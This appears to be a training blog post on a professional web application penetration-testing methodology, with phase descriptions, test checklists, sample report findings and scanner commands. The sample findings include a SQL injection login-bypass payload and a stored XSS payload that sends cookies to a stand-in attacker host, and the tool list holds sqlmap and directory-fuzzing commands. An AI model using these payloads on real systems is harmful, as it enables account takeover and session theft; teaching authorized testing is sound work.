By Jackson Godwin  |  TechTrain Academy  |  Cybersecurity Governance & VAPT Specialist📧 info@jacksontechnology.com.ng 

The previous parts of this series have given you all the individual tools and techniques of web application penetration testing. You know Burp Suite. You know OWASP Top 10. You know reconnaissance, scanning, and exploitation.

Now it is time to put it all together.

A professional Web Application VAPT is not a collection of random tool runs — it is a structured, methodical engagement with clearly defined phases, professional documentation at every step, and a final report that gives the client actionable intelligence to improve their security.

In this guide — Part 8 of the TechTrain Academy Practical Penetration Testing Series — I will walk you through the complete professional web application VAPT methodology used in real engagements across Nigerian banks, fintechs, and government agencies. This is not theory — it is the exact process I follow in professional VAPT work.

⚠️  LEGAL DISCLAIMER   A professional web application VAPT MUST begin with a signed Statement of Work and Rules of Engagement document defining exactly what can be tested, when, and how. NEVER test a web application without this written authorization in place. Unauthorized testing — even by security professionals — is illegal. Email info@jacksontechnology.com if you need guidance on professional VAPT engagement setup.

The Professional Web Application VAPT Framework

A professional web application VAPT follows a structured 8-phase methodology. Each phase builds on the previous one — skipping phases reduces quality and increases the risk of missing critical vulnerabilities:

PHASE 1  —  Scoping and Rules of Engagement

Objective: Define exactly what will be tested, how it will be tested, and what the boundaries are.   Tools: Contracts, Rules of Engagement template, scope definition document Key Activities: Define target URLs and domains in scope. Identify excluded areas (e.g., payment processing systems, production databases). Agree on testing hours (business hours only? 24/7?). Define what constitutes a finding. Establish communication channels for critical findings. Sign Statement of Work. Output: Signed Rules of Engagement and scope document before any testing begins.

PHASE 2  —  Reconnaissance and Information Gathering

Objective: Build a complete picture of the target application and its environment before touching it.   Tools: subfinder, theHarvester, shodan, whois, Whatweb, Wafw00f, Google Dorks Key Activities: DNS and subdomain enumeration. Technology stack fingerprinting. WAF detection. Google dorking for exposed files and admin panels. Check robots.txt and sitemap.xml. Analyze JavaScript files for API endpoints and secrets. Review public GitHub repositories. Check job postings for technology stack clues. Output: Complete target profile: technology stack, all subdomains, potential entry points, WAF in use.

PHASE 3  —  Application Mapping and Crawling

Objective: Build a complete map of the application — all pages, forms, APIs, and functionality.   Tools: Burp Suite Spider/Crawl, OWASP ZAP Spider, manual browsing with Burp Proxy active. Key Activities: Configure Burp Suite proxy. Browse the entire application manually, ensuring all functionality is covered. Run Burp Spider for automated discovery. Map all input fields, forms, and parameters. Identify all API endpoints. Document authentication mechanisms. Map user roles and access levels. Identify third-party integrations. Output: Complete site map in Burp Suite showing all endpoints, parameters, and functionality.

PHASE 4  —  Automated Vulnerability Scanning

Objective: Use automated scanners to identify potential vulnerabilities across the entire application surface.   Tools: Nikto, OWASP ZAP Active Scan, Burp Suite Active Scan (Pro), Nuclei Key Activities: Run Nikto against the target: nikto -h https://target.com. Run OWASP ZAP active scan. Run Nuclei with web templates: nuclei -u https://target.com -t web-vulns. Review and triage all findings — automated scanners generate false positives that must be manually verified. Prioritize findings for manual testing. Output: List of potential vulnerabilities requiring manual verification, sorted by severity.

PHASE 5  —  Manual Vulnerability Testing

Objective: Manually test each vulnerability category against the application — this is where the real findings are discovered.   Tools: Burp Suite Repeater & Intruder, SQLMap, custom payloads, and manual analysis. Key Activities: Test authentication: login brute force, password reset flaws, MFA bypass. Test authorization: IDOR, broken access control, privilege escalation. Test injection: SQLi, XSS, command injection, SSTI. Test session management: cookie security, session fixation, and CSRF. Test business logic: workflow bypass, price manipulation, rate limit bypass. Test API security: authentication, authorization, input validation. Output: Verified findings with proof-of-concept evidence — request/response screenshots and payloads.

PHASE 6  —  Exploitation and Impact Demonstration

Objective: For confirmed vulnerabilities, demonstrate real-world impact to prove business risk.   Tools: Burp Suite, SQLMap, custom exploits, Metasploit for server-side vulnerabilities Key Activities: Extract sample data through confirmed SQL injection. Demonstrate account takeover through authentication bypass. Show privilege escalation from a regular user to an admin. Capture session tokens through confirmed XSS. Demonstrate SSRF by accessing internal resources. All exploitation is documented with screenshots and limited to proving impact only — never cause damage. Output: Impact evidence: screenshots of exploited vulnerabilities with data accessed (minimal, proof only).

PHASE 7  —  Post-Exploitation Assessment

Objective: Assess the full impact of successful exploitation — how far could a real attacker go?   Tools: Metasploit, manual analysis, lateral movement tools. Key Activities: From a compromised web application: attempt to access server file system. Check for internal network access via SSRF or RCE. Attempt to access database credentials. Test for lateral movement to other systems. Assess what data is accessible from the compromised application. Document the maximum achievable impact. Output: Complete impact assessment: data accessible, systems reachable, maximum attacker capability.

PHASE 8  —  Reporting and Remediation Support

Objective: Document all findings professionally and support the client through remediation.   Tools: Report template, CVSS calculator, Dradis or Plextrac for report generation. Key Activities: Write an executive summary for non-technical stakeholders. Document all findings with severity, description, evidence, and remediation. Calculate CVSS scores for each finding. Prioritize remediation by severity. Present findings to the client. Support remediation questions. Conduct a retest after remediation to verify fixes. Output: Professional VAPT report delivered to client with executive summary, technical findings, and remediation roadmap.

The VAPT Testing Checklist — What to Test

Use this comprehensive checklist during the manual testing phase to ensure complete coverage:

Authentication Testing

• Default credentials — test admin/admin, admin/password, and vendor defaults
• Username enumeration — does the application reveal whether usernames exist?
• Password policy — is a minimum password strength enforced?
• Account lockout — is there protection against brute force?
• Password reset — is the reset mechanism secure? Does the link expire?
• Multi-factor authentication — can MFA be bypassed? Is it optional or mandatory?
• Remember me functionality — how long do persistent sessions last?

Authorization and Access Control Testing

• IDOR (Insecure Direct Object Reference) — change IDs in URLs and parameters to access other users' data
• Horizontal privilege escalation — can User A access User B's resources?
• Vertical privilege escalation — can a regular user access admin functions?
• API authorization — does the API enforce the same access controls as the web UI?
• Function level access control — are admin functions accessible to non-admin users?

Input Validation Testing

• SQL injection — test all input parameters, headers, and cookies
• Cross-Site Scripting (XSS) — reflected, stored, and DOM-based
• Command injection — test parameters that interact with system commands
• XML injection / XXE — test XML input points for external entity injection
• SSTI (Server-Side Template Injection) — test for template injection in user-controlled output
• Path traversal — test file upload and file access parameters for directory traversal

Session Management Testing

• Cookie security flags — Secure, HttpOnly, SameSite attributes
• Session token randomness — are tokens predictable or sequential?
• Session fixation — can an attacker set a known session token?
• CSRF protection — are state-changing actions protected by CSRF tokens?
• Session timeout — do sessions expire after inactivity?
• Logout effectiveness — Does logout properly invalidate the server-side session?

API Security Testing

• Authentication — does every API endpoint require authentication?
• Authorization — Does the API enforce access controls per user role?
• Rate limiting — is there protection against API abuse?
• Mass assignment — can additional parameters be injected to modify unintended fields?
• Sensitive data exposure — does the API return more data than needed?
• HTTP methods — are unsafe methods (PUT, DELETE, PATCH) restricted appropriately?

Sample Web Application Findings — With Evidence Format

Here is how to document findings professionally in the format Nigerian clients expect:

⚠ CRITICAL  —  SQL Injection — User Authentication Bypass   CVSS: 9.8

Description: The application's login endpoint is vulnerable to SQL injection. An attacker can bypass authentication and access any account — including administrator accounts — without a valid password. Evidence / Proof of Concept: POST /login HTTP/1.1 Host: target.com username=admin'--&password=anything  Response: HTTP/1.1 200 OK {"status":"success","role": "admin", "token": "eyJ..."} Remediation: Implement parameterised queries or prepared statements for all database interactions. Never concatenate user input directly into SQL queries. Deploy a Web Application Firewall as an additional layer of defense. Conduct a code review of all database interaction code.

⚠ HIGH  —  Insecure Direct Object Reference — Customer Data Exposure   CVSS: 8.1

Description: The application uses sequential numeric IDs to reference customer records. By incrementing the ID parameter, an authenticated user can access the personal and financial data of any other customer. Evidence / Proof of Concept: GET /api/customer/12345 HTTP/1.1 Authorization: Bearer [USER_TOKEN]  Response: 200 OK — Returns customer 12345's full details  GET /api/customer/12346 HTTP/1.1 Authorization: Bearer [USER_TOKEN]  Response: 200 OK — Returns DIFFERENT customer's details Remediation: Implement object-level authorization checks — verify that the requesting user has explicit permission to access each requested resource. Use non-sequential, cryptographically random identifiers. Implement an access control layer that checks ownership before returning any data.

⚠ HIGH  —  Stored Cross-Site Scripting — Account Takeover Vector   CVSS: 8.0

Description: The application's user profile 'Display Name' field does not sanitize input before rendering it to other users. An attacker can store malicious JavaScript that executes in the browser of any user who views the attacker's profile — enabling session cookie theft and account takeover. Evidence / Proof of Concept: Display Name field input: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>  When admin views attacker's profile: [+] Session cookie received at attacker.com:     session=eyJhbGciOiJIUzI1NiIsInR5... Remediation: Implement context-aware output encoding for all user-supplied data rendered in HTML. Use Content Security Policy (CSP) headers to restrict script execution. Validate and sanitize all input on the server side. Set HttpOnly flag on session cookies to prevent JavaScript access.

⚠ MEDIUM  —  Weak Password Policy — No Minimum Complexity   CVSS: 5.3

Description: The application allows users to set extremely weak passwords — single characters, common dictionary words, and passwords identical to the username are all accepted. This makes accounts vulnerable to brute force and dictionary attacks. Evidence / Proof of Concept: POST /register HTTP/1.1 password=a  Response: 201 Created — Account successfully created with single-character password  Tested passwords accepted: 'a', '1', 'password', 'admin123', username value itself Remediation: Implement minimum password policy: minimum 8 characters, require mixed case, numbers, and symbols OR use passphrase approach (3+ random words minimum 15 characters). Reject commonly used passwords against a blocklist. Consider implementing NIST SP 800-63B password guidelines.

CVSS Scoring — Rating Vulnerability Severity

Every finding in a professional VAPT report must have a CVSS (Common Vulnerability Scoring System) score. CVSS provides a standardized, objective measure of vulnerability severity:

RATING	CVSS SCORE	REMEDIATION TIMELINE	EXAMPLE
Critical	9.0 – 10.0	Immediate — within 24-72 hours	Remote code execution, auth bypass
High	7.0 – 8.9	Short-term — within 30 days	SQL injection, IDOR, stored XSS
Medium	4.0 – 6.9	Medium-term — within 90 days	Weak password policy, CSRF
Low	0.1 – 3.9	Long-term — within 180 days	Missing security headers, verbose errors
Informational	0.0	Best practice — at next opportunity	SSL certificate expiry, minor misconfigurations

Tools Used in Professional Web Application VAPT

🌐  Complete web application VAPT toolkit

# Reconnaissance subfinder -d target.com          # Subdomain enumeration whatweb target.com               # Technology fingerprinting wafw00f https://target.com       # WAF detection nikto -h https://target.com      # Initial vulnerability scan   # Application Mapping # Burp Suite Spider              # Application crawling # Manual browsing with Proxy     # Comprehensive mapping   # Automated Scanning nuclei -u https://target.com -t web-vulns   # Template-based scanning # OWASP ZAP Active Scan         # Comprehensive automated testing   # Manual Testing # Burp Suite Repeater           # Manual request manipulation # Burp Suite Intruder           # Automated payload injection sqlmap -u 'https://target.com/page?id=1' --dbs  # SQL injection   # Specific Tests gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt ffuf -w wordlist.txt -u https://target.com/FUZZ  # Content discovery   # API Testing # Postman or Insomnia           # API request manipulation # Burp Suite with API extension # API security testing

Jackson Godwin's VAPT Methodology Advice The biggest mistake junior penetration testers make in web application VAPT is rushing through the automated scanning phase and missing the manual testing phase entirely. Automated scanners find the obvious vulnerabilities. Manual testing finds the business logic flaws, the subtle authorization issues, and the creative attack chains that no scanner can discover.  In my professional VAPT engagements, the most critical findings — the ones that make clients realize how exposed they really are — almost always come from manual testing, not automated scanning.  Spend at least 60% of your total testing time on manual testing. The other 40% covers reconnaissance, mapping, and automated scanning combined.  Questions? Email: info@jacksontechnology.com.ng

Conclusion — Methodology Makes the Professional

The difference between an amateur who runs a few tools and a professional penetration tester is methodology. A structured, documented, phase-based approach ensures comprehensive coverage, professional output, and genuine value to the client.

Master this methodology. Practice every phase on DVWA, HackTheBox, and authorized test environments until the workflow becomes natural. Learn to document findings in the professional format shown in this guide.

In Part 9 of this series, we apply the same structured methodology to Network Penetration Testing — the complete professional workflow for assessing an organization's entire network infrastructure from initial access to domain compromise.

Questions about web application VAPT methodology? Email Jackson Godwin at info@jacksontechnology.com.ng — he personally responds to all student questions.

Master Professional Web Application VAPT   TechTrain Academy's Ethical Hacking & VAPT program teaches the complete professional web application assessment methodology used in real VAPT engagements across Nigerian banks, fintechs, and government agencies. Enroll and get certified.   Enroll Now | Email: info@jacksontechnology.com.ng | Visit TechTrain Academy

Questions about this tutorial?   📧 info@jacksontechnology.com.ng   Jackson personally responds to all student questions. Enroll in TechTrain Academy for live hands-on VAPT training.